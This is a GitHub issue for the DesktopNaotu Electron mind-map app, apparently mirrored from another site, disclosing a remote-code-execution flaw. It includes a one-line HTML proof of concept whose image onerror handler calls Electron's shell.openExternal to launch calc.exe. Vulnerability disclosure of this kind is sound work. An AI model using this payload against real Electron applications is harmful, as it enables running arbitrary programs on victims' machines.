NaoTu / DesktopNaotu

桌面版脑图 (百度脑图离线版,思维导图) 跨平台支持 Windows/Linux/Mac OS. (A cross-platform multilingual Mind Map Tool)

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

This software was found to have an RCE vulnerability.

LuckyT0mat0 opened this issue · comments

This software was found to have an RCE vulnerability.
Please be careful not to insert the initialization link easily.
demo
exp(1.html):
<img/src=x onerror="try{ const {shell} = require('electron'); shell.openExternal('file:C:/Windows/System32/calc.exe') }catch(e){alert(e)}">